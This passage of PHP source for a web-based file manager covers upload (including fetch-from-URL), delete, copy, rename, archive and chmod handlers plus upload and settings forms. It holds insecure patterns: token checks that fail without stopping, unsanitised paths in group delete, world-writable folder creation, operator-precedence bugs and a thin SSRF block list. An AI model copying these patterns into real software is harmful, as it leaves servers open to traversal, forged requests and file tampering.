}
die(true);
}
// backup files
if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
$fileName = fm_clean_path($_POST['file']);
$fullPath = FM_ROOT_PATH . '/';
if (!empty($_POST['path'])) {
$relativeDirPath = fm_clean_path($_POST['path']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST['type']) and $_POST['type'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST['js-language'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = 'en';
}
$erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
$shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
$hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
$te3 = $_POST['js-theme-3'];
if ($cfg->data['lang'] != $newLng) {
$cfg->data['lang'] = $newLng;
$lang = $newLng;
}
if ($cfg->data['error_reporting'] != $erp) {
$cfg->data['error_reporting'] = $erp;
$report_errors = $erp;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['show_hidden'] != $shf) {
$cfg->data['show_hidden'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data['hide_Cols'] != $hco) {
$cfg->data['hide_Cols'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data['theme'] != $te3) {
$cfg->data['theme'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
$res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
echo $res;
}
//upload using url
if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), '?'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
$del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$is_dir = is_dir($path . '/' . $del);
if (fm_rdelete($path . '/' . $del)) {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
fm_set_msg(sprintf($msg, fanco($del)));
} else {
$msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
fm_set_msg(sprintf($msg, fanco($del)), 'error');
}
} else {
fm_set_msg(lng('Invalid file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
$type = urldecode($_POST['newfile']);
$new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . '/' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new);
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
} else {
fm_set_msg(lng('File extension is not allowed'), 'error');
}
} else {
fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
}
} else {
if (fm_mkdir($path . '/' . $new, false) === true) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
} elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
} else {
fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
}
}
} else {
fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
// from
$copy = urldecode($_GET['copy']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == '') {
fm_set_msg(lng('Source path not defined'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$from = FM_ROOT_PATH . '/' . $copy;
$dest = FM_ROOT_PATH;
if (FM_PATH != '') {
$dest .= '/' . FM_PATH;
}
$dest .= '/' . basename($from);
$move = isset($_GET['move']);
$move = fm_clean_path(urldecode($move));
if ($from != $dest) {
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng('File or folder with this path already exists'), 'alert');
} else {
fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
} else {
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
} else {
fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
}
}
} else {
if (!$move){
$msg_from = trim(FM_PATH . '/' . basename($from), '/');
$fn_parts = pathinfo($from);
$extension_suffix = '';
if(!is_dir($from)){
$extension_suffix = '.'.$fn_parts['extension'];
}
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
} else {
fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
}
}
else{
fm_set_msg(lng('Paths must be not equal'), 'alert');
}
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng('Invalid Token.'), 'error');
}
// from
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// to
$copy_to_path = FM_ROOT_PATH;
$copy_to = fm_clean_path($_POST['copy_to']);
if ($copy_to != '') {
$copy_to_path .= '/' . $copy_to;
}
if ($path == $copy_to_path) {
fm_set_msg(lng('Paths must be not equal'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (!is_dir($copy_to_path)) {
if (!fm_mkdir($copy_to_path, true)) {
fm_set_msg('Unable to create destination folder', 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// move?
$move = isset($_POST['move']);
// copy/move
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$f = fm_clean_path($f);
$from = $path . '/' . $f;
$dest = $copy_to_path . '/' . $f;
if ($move) {
$rename = fm_rename($from, $dest);
if ($rename === false) {
$errors++;
}
} else {
if (!fm_rcopy($from, $dest)) {
$errors++;
}
}
}
}
if ($errors == 0) {
$msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
fm_set_msg($msg);
} else {
$msg = $move ? 'Error while moving items' : 'Error while copying items';
fm_set_msg($msg, 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Rename
if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
// old name
$old = urldecode($_POST['rename_from']);
$old = fm_clean_path($old);
$old = str_replace('/', '', $old);
// new name
$new = urldecode($_POST['rename_to']);
$new = fm_clean_path(strip_tags($new));
$new = str_replace('/', '', $new);
// path
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
// rename
if (fm_isvalid_filename($new) and $old != '' and $new != '') {
if (fm_rename($path . '/' . $old, $path . '/' . $new)) {
fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)));
} else {
fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fanco($old), fanco($new)), 'error');
}
} else {
fm_set_msg(lng('Invalid characters in file name'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Download
if (isset($_GET['dl'], $_POST['token'])) {
if(!verifyToken($_POST['token'])) {
fm_set_msg("Invalid Token.", 'error');
}
$dl = urldecode($_GET['dl']);
$dl = fm_clean_path($dl);
$dl = str_replace('/', '', $dl);
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($dl != '' and is_file($path . '/' . $dl)) {
fm_download_file($path . '/' . $dl, $dl, 1024);
exit;
} else {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
}
// Upload
if (!empty($_FILES) and !FM_READONLY) {
if(isset($_POST['token'])) {
if(!verifyToken($_POST['token'])) {
$response = array ('status' => 'error','info' => "Invalid Token.");
echo json_encode($response); exit();
}
} else {
$response = array ('status' => 'error','info' => "Token Missing.");
echo json_encode($response); exit();
}
$chunkIndex = $_POST['dzchunkindex'];
$chunkTotal = $_POST['dztotalchunkcount'];
$fullPathInput = fm_clean_path($_REQUEST['fullpath']);
$f = $_FILES;
$path = FM_ROOT_PATH;
$ds = DIRECTORY_SEPARATOR;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$uploads = 0;
$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
$response = array (
'status' => 'error',
'info' => 'Oops! Try again'
);
$filename = $f['file']['name'];
$tmp_name = $f['file']['tmp_name'];
$ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : '';
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) {
$response = array (
'status' => 'error',
'info' => "Invalid File name!",
);
echo json_encode($response); exit();
}
$targetPath = $path . $ds;
if ( is_writable($targetPath) ) {
$fullPath = $path . '/' . $fullPathInput;
$folder = substr($fullPath, 0, strrpos($fullPath, "/"));
if (!is_dir($folder)) {
$old = umask(0);
mkdir($folder, 0777, true);
umask($old);
}
if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) {
if ($chunkTotal){
$out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab");
if ($out) {
$in = @fopen($tmp_name, "rb");
if ($in) {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
fwrite($out, $buff);
}
} while (!feof($in));
} else {
stream_copy_to_stream($in, $out);
}
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream",
'errorDetails' => error_get_last()
);
}
@fclose($in);
@fclose($out);
@unlink($tmp_name);
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => "failed to open output stream"
);
}
if ($chunkIndex == $chunkTotal - 1) {
if (file_exists ($fullPath)) {
$ext_1 = $ext ? '.'.$ext : '';
$fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1;
} else {
$fullPathTarget = $fullPath;
}
rename("{$fullPath}.part", $fullPathTarget);
}
} else {
if (rename($tmp_name, $fullPath)) {
if ( file_exists($fullPath) ) {
$response = array (
'status' => 'success',
'info' => "file upload successful"
);
} else {
$response = array (
'status' => 'error',
'info' => 'Couldn\'t upload the requested file.'
);
}
} else {
$response = array (
'status' => 'error',
'info' => "Error while uploading files. Uploaded files $uploads",
);
}
}
}
} else {
$response = array (
'status' => 'error',
'info' => 'The specified folder for upload isn\'t writeable.'
);
}
// Return the response
echo json_encode($response);
exit();
}
if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) and count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg(lng('Selected files and folder deleted'));
} else {
fm_set_msg(lng('Error while deleting items'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$files = $_POST['file'];
$sanitized_files = array();
// clean path
foreach($files as $file){
array_push($sanitized_files, fm_clean_path($file));
}
$files = $sanitized_files;
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
if ($res) {
fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fanco($zipname)));
} else {
fm_set_msg(lng('Archive not created'), 'error');
}
} else {
fm_set_msg(lng('Nothing selected'), 'alert');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
// Unpack zip, tar
if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$unzip = urldecode($_POST['unzip']);
$unzip = fm_clean_path($unzip);
$unzip = str_replace('/', '', $unzip);
$isValid = false;
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if ($unzip != '' and is_file($path . '/' . $unzip)) {
$zip_path = $path . '/' . $unzip;
$ext = pathinfo($zip_path, PATHINFO_EXTENSION);
$isValid = true;
} else {
fm_set_msg(lng('File not found'), 'error');
}
if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) {
fm_set_msg(lng('Operations with archives are not available'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if ($isValid) {
//to folder
$tofolder = '';
if (isset($_POST['tofolder'])) {
$tofolder = pathinfo($zip_path, PATHINFO_FILENAME);
if (fm_mkdir($path . '/' . $tofolder, true)) {
$path .= '/' . $tofolder;
}
}
if($ext == "zip") {
$zipper = new FM_Zipper();
$res = $zipper->unzip($zip_path, $path);
} elseif ($ext == "tar") {
try {
$gzipper = new PharData($zip_path);
if (@$gzipper->extractTo($path,null, true)) {
$res = true;
} else {
$res = false;
}
} catch (Exception $e) {
$res = true;
}
}
if ($res) {
fm_set_msg(lng('Archive unpacked'));
} else {
fm_set_msg(lng('Archive not unpacked'), 'error');
}
} else {
fm_set_msg(lng('File not found'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) {
if(!verifyToken($_POST['token'])) {
fm_set_msg(lng("Invalid Token."), 'error');
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
$file = $_POST['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$mode = 0;
if (!empty($_POST['ur'])) {
$mode |= 0400;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 0040;
}
if (!empty($_POST['gw'])) {
$mode |= 0020;
}
if (!empty($_POST['gx'])) {
$mode |= 0010;
}
if (!empty($_POST['or'])) {
$mode |= 0004;
}
if (!empty($_POST['ow'])) {
$mode |= 0002;
}
if (!empty($_POST['ox'])) {
$mode |= 0001;
}
if (@chmod($path . '/' . $file, $mode)) {
fm_set_msg(lng('Permissions changed'));
} else {
fm_set_msg(lng('Permissions not changed'), 'error');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
$path .= '/' . FM_PATH;
}
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . '?p=');
}
$parent = fm_get_parent_path(FM_PATH);
$objects = is_readable($path) ? scandir($path) : array();
$folders = array();
$files = array();
$current_path = array_slice(explode("/",$path), -1)[0];
if (is_array($objects) and fm_is_exclude_items($current_path)) {
foreach ($objects as $file) {
if ($file == '.' || $file == '..') {
continue;
}
if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') {
continue;
}
$new_path = $path . '/' . $file;
if (@is_file($new_path) and fm_is_exclude_items($file)) {
$files[] = $file;
} elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) {
$folders[] = $file;
}
}
}
if (!empty($files)) {
natcasesort($files);
}
if (!empty($folders)) {
natcasesort($folders);
}
if (isset($_GET['upload']) and !FM_READONLY) {
fm_show_header();
fm_show_nav_path(FM_PATH);
function getUploadExt() {
$extArr = explode(',', FM_UPLOAD_EXTENSION);
if(FM_UPLOAD_EXTENSION and $extArr) {
array_walk($extArr, function(&$x) {$x = ".$x";});
return implode(',', $extArr);
}
return '';
}
?>
<?php print_external('css-dropzone'); ?>
<div class="path">
<div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>">
<div class="card-header">
<ul class="nav nav-tabs card-header-tabs">
<li class="nav-item">
<a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a>
</li>
</ul>
</div>
<div class="card-body">
<p class="card-text">
<a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a>
<strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_PATH)) ?>
</p>
<form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fanco(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="fullpath" id="fullpath" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<div class="fallback">
<input name="file" type="file" multiple/>
</div>
</form>
<div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader">
<form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action="">
<input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true">
<input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button>
<div class="lds-facebook"><div></div><div></div><div></div></div>
</form>
<div id="js-url-upload__list" class="col-9 mt-3"></div>
</div>
</div>
</div>
</div>
<?php print_external('js-dropzone'); ?>
<script>
Dropzone.options.fileUploader = {
chunking: true,
chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>,
forceChunking: true,
retryChunks: true,
retryChunksLimit: 3,
parallelUploads: 1,
parallelChunkUploads: false,
timeout: 120000,
maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>",
acceptedFiles : "<?php echo getUploadExt() ?>",
init: function () {
this.on("sending", function (file, xhr, formData) {
let _path = (file.fullPath) ? file.fullPath : file.name;
document.getElementById("fullpath").value = _path;
xhr.ontimeout = (function() {
toast('Error: Server Timeout');
});
}).on("success", function (res) {
try {
let _response = JSON.parse(res.xhr.response);
if(_response.status == "error") {
toast(_response.info);
}
} catch (e) {
toast("Error: Invalid JSON response");
}
}).on("error", function(file, response) {
toast(response);
});
}
}
</script>
<?php
fm_show_footer();
exit;
}
if (isset($_POST['copy']) and !FM_READONLY) {
$copy_files = isset($_POST['file']) ? $_POST['file'] : null;
if (!is_array($copy_files) || empty($copy_files)) {
fm_set_msg(lng('Nothing selected'), 'alert');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
?>
<div class="path">
<div class="card <?php echo fm_get_theme(); ?>">
<div class="card-header">
<h6><?php echo lng('Copying') ?></h6>
</div>
<div class="card-body">
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
<input type="hidden" name="finish" value="1">
<?php
foreach ($copy_files as $cf) {
echo '<input type="hidden" name="file[]" value="' . fanco($cf) . '">' . PHP_EOL;
}
?>
<p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p>
<p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br>
<label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label>
<?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fanco(FM_PATH) ?>">
</p>
<p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
$copy = $_GET['copy'];
$copy = fm_clean_path($copy);
if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
fm_set_msg(lng('File not found'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}
fm_show_header();
fm_show_nav_path(FM_PATH);
?>
<div class="path">
<p><b>Copying</b></p>
<p class="break-word">
<strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
<strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
</p>
<p>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
</p>
<p><i><?php echo lng('Select folder') ?></i></p>
<ul class="folders break-word">
<?php
if ($parent !== false) {
?>
<li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
<?php
}
foreach ($folders as $f) {
?>
<li>
<a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
<?php
}
?>
</ul>
</div>
<?php
fm_show_footer();
exit;
}
if (isset($_GET['settings']) and !FM_READONLY) {
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
global $cfg, $lang, $lang_list;
?>
<div class="col-md-8 offset-md-2 pt-3">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header d-flex justify-content-between">
<span><i class="fa fa-cog"></i> <?php echo lng('Settings') ?></span>
<a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
</h6>
<div class="card-body">
<form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
<input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
<div class="form-group row">
<label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
<div class="col-sm-5">
